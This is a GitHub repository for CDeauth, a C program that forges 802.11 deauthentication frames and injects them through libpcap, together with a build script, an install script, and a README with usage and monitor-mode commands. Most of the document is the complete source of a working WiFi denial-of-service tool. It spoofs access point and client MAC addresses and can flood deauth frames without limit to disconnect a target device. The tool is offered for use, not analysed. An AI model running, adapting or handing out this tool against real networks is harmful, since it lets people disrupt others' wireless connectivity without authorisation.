├── .gitignore ├── Makefile ├── install.sh ├── LICENSE ├── README.md └── CDeauth.c /.gitignore: -------------------------------------------------------------------------------- 1 | CDeauth -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc CDeauth.c -lpcap -o CDeauth -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # colors (from: https://stackoverflow.com/a/5947802) 4 | GREEN="\033[0;32m" 5 | SANE="\033[0m" 6 | RED="\033[1;31m" 7 | 8 | KERNEL=$(uname) 9 | if [ "${KERNEL}" == "Darwin" ]; then 10 | echo -e "${GREEN}[+] Identified OS as: macOS --> using packet manager: brew${SANE}" 11 | brew update && brew install libpcap 12 | elif [ "${KERNEL}" == "Linux" ]; then 13 | echo -e "${GREEN}[+] Identified OS as: Linux --> using packet manager: apt${SANE}" 14 | sudo apt-get update && sudo apt-get install libpcap-dev 15 | else 16 | echo -e "${RED}[+] Could not install libpcap. If necessary, please do so manually${SANE}" 17 | fi 18 | 19 | make 20 | ./CDeauth 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016-2019 Dustin Born 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CDeauth: A WiFi deauthentication tool written in C 2 | Some time ago I a wrote a small tool in C for WiFi deauthentication that uses the libpcap library as a means to inject packets. Because it may be useful to someone, I published it on GitHub. 3 | 4 | ## Installation 5 | Simply run the automated installation script ``./install.sh`` or look at the commands inside and run them manually. The script works on macOS and Linux distributions that use the package manager *apt*. On macOS, [Homebrew](https://brew.sh) has to be installed. 6 | 7 | ## Usage 8 | ``` 9 | CDeauth (WiFi deauthentication in C) - (C) by Dustin Born 2016-2019 : 10 | 11 | Usage: ./CDeauth [-c client] [-a access_point] [-n number] 12 | [-i interface] [-h] 13 | 14 | -a access point : MAC address of access point 15 | -c client : MAC address or target client 16 | -h : Print this help screen 17 | -i interface : The interface on which to send the packets on 18 | -n number : A integer specifying how many packets to send 19 | (-1 for unlimited) 20 | A client MAC, an access point MAC and an interface has to be specified. 21 | 22 | Example: ./CDeauth -c AA:BB:CC:DD:EE:FF -a FF:EE:DD:CC:BB:AA -i wlan0 23 | ``` 24 | 25 | **Note:** The specified interface has to be in *monitor mode* and CDeauth may have to be run as *root* user. 26 | 27 | ## Putting a Managed Interface into Monitor Mode 28 | Let ```` be your WiFi interface. To put it into monitor mode, run: 29 | ``` 30 | sudo ifconfig down 31 | sudo iwconfig mode monitor 32 | sudo ifconfig up 33 | ``` 34 | **Important:** In case this does not work, you may have to make sure that the interface is not connected to a network prior to running these commands. 35 | 36 | Alternatively you can use ``airmon-ng`` from the [aircrack-ng](https://github.com/aircrack-ng/aircrack-ng) suite. 37 | 38 | ## License 39 | CDeauth is licensed under the MIT license, see [here](https://github.com/DustinBorn/CDeauth/blob/master/LICENSE). 40 | -------------------------------------------------------------------------------- /CDeauth.c: -------------------------------------------------------------------------------- 1 | /** 2 | * CDeauth: A WiFi deauthentication tool written in C. 3 | * @auhor Dustin Born 4 | * @creationdate 2016-10-09 5 | * @copyright Copyright (C) by Dustin Born 2016-2019 6 | * @license MIT 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | // Constant definition 20 | #define ETHER_ADDR_LEN 6 // length of layer 2 address 21 | #define PACKETS_PER_INTERVAL 16 // how many packets to send per interval 22 | #define INTERVALS_BEFORE_PRINT 4 // after how many intervals to print sent info 23 | 24 | // structure of a full deauth packet 25 | // see e.g. https://inst.eecs.berkeley.edu/~ee122/sp07/80211.pdf#page=29 26 | struct ieee80211_deauth_packet { 27 | u_short frame_control; 28 | u_short duration_id; 29 | u_char dest_addr[ETHER_ADDR_LEN]; 30 | u_char source_addr[ETHER_ADDR_LEN]; 31 | u_char bssid[ETHER_ADDR_LEN]; 32 | u_short seq_control; 33 | u_short reason_code; 34 | u_int fcs; // frame check sequence (CRC) 35 | }; 36 | 37 | // static 802.11 radiotap header 38 | static const uint8_t radiotap_header[] = { 39 | 0x00, 0x00, // radiotap version + 0x00 padding 40 | 0x19, 0x00, // number of bytes in our header (length) 41 | 0x6f, 0x08, 0x00, 0x00, // fields present (extensions) 42 | 0x11, 0x13, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, // MAC timestamp 43 | 0x10, // short guard interval 44 | 0x02, // data rate 45 | 0x6c, 0x09, // channel frequency 46 | 0x80, 0x04, // channel flags (here: 2GHz spectrum & Dynamic CCK-OFDM) 47 | 0xed, 0xa9, 0x00, // (antenna signal, antenna noise, antenna) 48 | }; 49 | 50 | // CRC table for FCS computation 51 | const unsigned int crc_tbl[256] = { 52 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 53 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 54 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 55 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 56 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 57 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 58 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 59 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 60 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 61 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 62 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 63 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 64 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 65 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 66 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 67 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 68 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 69 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 70 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 71 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 72 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 73 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 74 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 75 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 76 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 77 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 78 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 79 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 80 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 81 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 82 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 83 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D 84 | }; 85 | 86 | 87 | /** 88 | * Compute the FCS / CRC of the given input packet 89 | */ 90 | unsigned int compute_crc(unsigned char *input, int len){ 91 | unsigned int crc = 0xFFFFFFFF; 92 | 93 | for(int i = 0; i < len; i++){ 94 | crc = crc_tbl[(crc ^ input[i]) & 0xFF] ^ (crc >> 8); 95 | } 96 | crc = ~crc; 97 | return crc; 98 | } 99 | 100 | 101 | /** 102 | * Convert a string representation of MAC address like AA:BB:CC:DD:EE:FF 103 | * to an contiguous array of 6 bytes with corresponding values. 104 | */ 105 | void convert_mac_string(char input_string[], uint8_t *mac){ 106 | for(int i = 0; i < 6; i++){ 107 | mac[i] = (char) (strtol(&input_string[i * 1 + 2 * i], NULL, 16) & 0xFF); 108 | } 109 | } 110 | 111 | 112 | /** 113 | * Converts a short from host byte order to little endian byte order 114 | */ 115 | unsigned short htoles(unsigned short value){ 116 | // constant short to check whether host is little or big endian 117 | unsigned short s = 0x0001; 118 | 119 | // if the lower byte of s is 0x00, the host is big endian 120 | if(*((char *) &s) == 0x00){ 121 | return ((value >> 8) | (value << 8)); 122 | } 123 | return value; 124 | } 125 | 126 | 127 | /** 128 | * Print usage information 129 | */ 130 | void print_usage(char *name){ 131 | printf("\n\n"); 132 | printf("\tCDeauth (WiFi deauthentication in C) - (C) by Dustin Born 2016-2019 : \n\n"); 133 | printf("\tUsage: %s [-c client] [-a access_point] [-n number]\n", name); 134 | printf("\t [-i interface] [-h]\n\n"); 135 | printf("\t-a access point : MAC address of access point\n"); 136 | printf("\t-c client : MAC address or target client\n"); 137 | printf("\t-h : Print this help screen\n"); 138 | printf("\t-i interface : The interface on which to send the packets on\n"); 139 | printf("\t-n number : A integer specifying how many packets to send\n"); 140 | printf("\t (-1 for unlimited)\n"); 141 | printf("\tA client MAC, an access point MAC and an interface has to be specified.\n\n"); 142 | printf("\tExample: ./CDeauth -c AA:BB:CC:DD:EE:FF -a FF:EE:DD:CC:BB:AA -i wlan0\n\n"); 143 | } 144 | 145 | 146 | /** 147 | * Transform deauth packet data to one contiguous string to make FCS computation easier 148 | */ 149 | void convert_deauth_packet_to_byte_str(struct ieee80211_deauth_packet *packet, uint8_t* string) { 150 | string[0] = packet->frame_control & 0xFF; 151 | string[1] = (packet->frame_control >> 8) & 0xFF; 152 | string[2] = packet->duration_id & 0xFF; 153 | string[3] = (packet->duration_id >> 8) & 0xFF; 154 | 155 | // copy packet destination MAC address 156 | for (int i = 0; i < 6; i++) { 157 | string[4 + i] = packet->dest_addr[i]; 158 | } 159 | 160 | // copy packet source MAC address 161 | for (int i = 0; i < 6; i++) { 162 | string[10 + i] = packet->source_addr[i]; 163 | } 164 | 165 | // copy packet BSSID MAC address 166 | for (int i = 0; i < 6; i++) { 167 | string[16 + i] = packet->bssid[i]; 168 | } 169 | 170 | string[22] = packet->seq_control & 0xFF; 171 | string[23] = (packet->seq_control >> 8) & 0xFF; 172 | string[24] = packet->reason_code & 0xFF; 173 | string[25] = (packet->reason_code >> 8) & 0xFF; 174 | *((uint *)(string + 26)) = packet->fcs; 175 | } 176 | 177 | 178 | /** 179 | * Prepare the static part of the deauth packets 180 | */ 181 | void prepare_packets(struct ieee80211_deauth_packet *packet_for_client, 182 | struct ieee80211_deauth_packet *packet_for_ap) { 183 | 184 | // set packet field values for packet for client (802.11 is little-endian) 185 | packet_for_client->frame_control = 0x00C0; // Type Deauthentication (0xc0) without any flags set (0x00) 186 | packet_for_client->duration_id = 0x013A; // 314ms 187 | packet_for_client->seq_control = 0x0000; // sequence number 0 188 | packet_for_client->reason_code = 0x0007; // reason code 7 189 | 190 | // set packet field values for packet for access point (same as for client) 191 | packet_for_ap->frame_control = 0x00C0; 192 | packet_for_ap->duration_id = 0x013A; 193 | packet_for_ap->seq_control = 0x0000; 194 | packet_for_ap->reason_code = 0x0007; 195 | 196 | // transform certain packet fields to little endian for packet for client 197 | packet_for_client->frame_control = htoles(packet_for_client->frame_control); 198 | packet_for_client->duration_id = htoles(packet_for_client->duration_id); 199 | packet_for_client->seq_control = htoles(packet_for_client->seq_control); 200 | packet_for_client->reason_code = htoles(packet_for_client->reason_code); 201 | 202 | // transform certain packet fields to little endian for packet for access point 203 | packet_for_ap->frame_control = htoles(packet_for_ap->frame_control); 204 | packet_for_ap->duration_id = htoles(packet_for_ap->duration_id); 205 | packet_for_ap->seq_control = htoles(packet_for_ap->seq_control); 206 | packet_for_ap->reason_code = htoles(packet_for_ap->reason_code); 207 | 208 | // Set placeholder FCS 209 | packet_for_client->fcs = 0x00000000; 210 | packet_for_ap->fcs = 0x00000000; 211 | } 212 | 213 | 214 | /** 215 | * Compute and set the FCS for the given deauth packet byte string 216 | */ 217 | void set_fcs(uint8_t *deauth_packet_str) { 218 | unsigned int crc = compute_crc(deauth_packet_str, 26); 219 | *((uint *)(deauth_packet_str + 26)) = crc; 220 | } 221 | 222 | 223 | /** 224 | * Assign sequence control field with given sequence number 225 | */ 226 | void update_seq_number(uint8_t *packet, unsigned long seq_number) { 227 | // sequence control starts at offset 22 and is 2 bytes long 228 | packet[22] = (((seq_number & 0x0f) << 4) | 0x00); 229 | packet[23] = (((seq_number & 0xf00) >> 4) | ((seq_number & 0xf0) >> 4)); 230 | set_fcs(packet); 231 | } 232 | 233 | 234 | /** 235 | * Send the given deauth packets the given number of times 236 | */ 237 | void send_deauth_packets(struct ieee80211_deauth_packet *packet_for_client, 238 | struct ieee80211_deauth_packet *packet_for_ap, pcap_t *handle, long max_count) { 239 | 240 | // packet size and number of packets sent 241 | int packet_size = 30 + sizeof(radiotap_header); // size of deauth frame and data is 30 bytes 242 | unsigned long packets_sent = 0; 243 | 244 | // create byte strings holding the final packets to send via PCAP handle 245 | uint8_t *packet_for_client_str = (uint8_t *) malloc(packet_size); 246 | uint8_t *packet_for_ap_str = (uint8_t *) malloc(packet_size); 247 | 248 | // fill both packet byte strings with the static data 249 | convert_deauth_packet_to_byte_str(packet_for_client, packet_for_client_str + sizeof(radiotap_header)); 250 | convert_deauth_packet_to_byte_str(packet_for_ap, packet_for_ap_str + sizeof(radiotap_header)); 251 | 252 | // put radiotap header at the beginning of the both packets 253 | memcpy(packet_for_client_str, radiotap_header, sizeof(radiotap_header)); 254 | memcpy(packet_for_ap_str, radiotap_header, sizeof(radiotap_header)); 255 | 256 | // struct for call to "nanosleep" function 257 | struct timespec sleep_time; 258 | 259 | // signal start of deauthing 260 | if (max_count == 0) printf("\n\n[+] Sending no packets"); 261 | else if(max_count < 0) printf("\n\n[+] Sending packets in chunks of %d per 250ms ...\n\n", PACKETS_PER_INTERVAL); 262 | else if(max_count == 1) printf("\n\n[+] Sending 1 packet\n\n"); 263 | else printf("\n\n[+] Sending %ld packets in chunks of %d per 250ms ...\n\n", max_count, PACKETS_PER_INTERVAL); 264 | 265 | // set up the 250ms sleep time 266 | sleep_time.tv_sec = 0; 267 | sleep_time.tv_nsec = 250000000; // = 250 ms sleeptime 268 | 269 | // main packet sending loop 270 | while(packets_sent < max_count || max_count < 0){ 271 | // print info after PACKETS_PER_INTERVAL * INTERVALS_BEFORE_PRINT have been sent 272 | if (packets_sent % (PACKETS_PER_INTERVAL * INTERVALS_BEFORE_PRINT) == 0) 273 | printf(" %d packets have been sent ...\n", (PACKETS_PER_INTERVAL * INTERVALS_BEFORE_PRINT)); 274 | 275 | // sleep / pause after PACKETS_PER_INTERVAL packets 276 | if (packets_sent % PACKETS_PER_INTERVAL == 0) 277 | nanosleep(&sleep_time, NULL); 278 | 279 | // put correct sequence number and recompute FCS 280 | update_seq_number(packet_for_client_str + sizeof(radiotap_header), packets_sent); 281 | update_seq_number(packet_for_ap_str + sizeof(radiotap_header), packets_sent); 282 | 283 | // send one deauth packet to client and one to AP 284 | pcap_inject(handle, packet_for_client_str, packet_size); 285 | pcap_inject(handle, packet_for_ap_str, packet_size); 286 | 287 | packets_sent++; 288 | } 289 | printf("\n[+] All packets have been sent\n\n\n"); 290 | 291 | // free previously allocated memory 292 | free(packet_for_client_str); 293 | free(packet_for_ap_str); 294 | } 295 | 296 | 297 | /** 298 | * Main function that sets up the client and AP deauth packets and sends them 299 | */ 300 | int main(int argc, char *argv[]){ 301 | char interface[25]; 302 | 303 | // argument handling 304 | long number_of_packets = -1, args_iface = 0, args_ap_mac = 0, args_c_mac = 0; 305 | 306 | // definitiion of the client and AP packet pointers 307 | struct ieee80211_deauth_packet packet_for_client = {}, packet_for_ap = {}; 308 | 309 | /** process program parameters, namely client MAC, AP MAC and number of packets to send **/ 310 | if(argc < 6 || argc > 9){ 311 | print_usage(argv[0]); 312 | return 0; 313 | } 314 | 315 | for(int i = 1; i < argc; i++){ 316 | // AP MAC 317 | if(strcmp(argv[i], "-a") == 0){ 318 | convert_mac_string(argv[i + 1], packet_for_client.source_addr); 319 | convert_mac_string(argv[i + 1], packet_for_client.bssid); 320 | convert_mac_string(argv[i + 1], packet_for_ap.dest_addr); 321 | convert_mac_string(argv[i + 1], packet_for_ap.bssid); 322 | args_ap_mac = 1; 323 | i++; 324 | } 325 | // client MAC 326 | else if(strcmp(argv[i], "-c") == 0){ 327 | convert_mac_string(argv[i + 1], packet_for_client.dest_addr); 328 | convert_mac_string(argv[i + 1], packet_for_ap.source_addr); 329 | args_c_mac = 1; 330 | i++; 331 | } 332 | // interface name 333 | else if(strcmp(argv[i], "-i") == 0){ 334 | strcpy(interface, argv[i + 1]); 335 | args_iface = 1; 336 | i++; 337 | } 338 | // number of packets to send 339 | else if(strcmp(argv[i], "-n") == 0){ 340 | number_of_packets = strtol(argv[i + 1], NULL, 10); 341 | i++; 342 | } 343 | // print usage inf 344 | else if(strcmp(argv[i], "-h") == 0){ 345 | print_usage(argv[0]); 346 | return 0; 347 | } 348 | } 349 | 350 | if (!args_iface || !args_c_mac || !args_ap_mac) { 351 | print_usage(argv[0]); 352 | return 1; 353 | } 354 | 355 | // fill the packets with available static data 356 | prepare_packets(&packet_for_client, &packet_for_ap); 357 | 358 | // initialize PCAP handle 359 | char errbuf[100]; 360 | // Doc: https://www.tcpdump.org/manpages/pcap_open_live.3pcap.html 361 | pcap_t *handle = pcap_open_live(interface, BUFSIZ, 1, 1000, errbuf); 362 | if (handle == NULL) { 363 | printf("Error when opening PCAP handle: %s\n", errbuf); 364 | return 1; 365 | } 366 | 367 | send_deauth_packets(&packet_for_client, &packet_for_ap, handle, number_of_packets); 368 | 369 | pcap_close(handle); 370 | 371 | return 0; 372 | } 373 | --------------------------------------------------------------------------------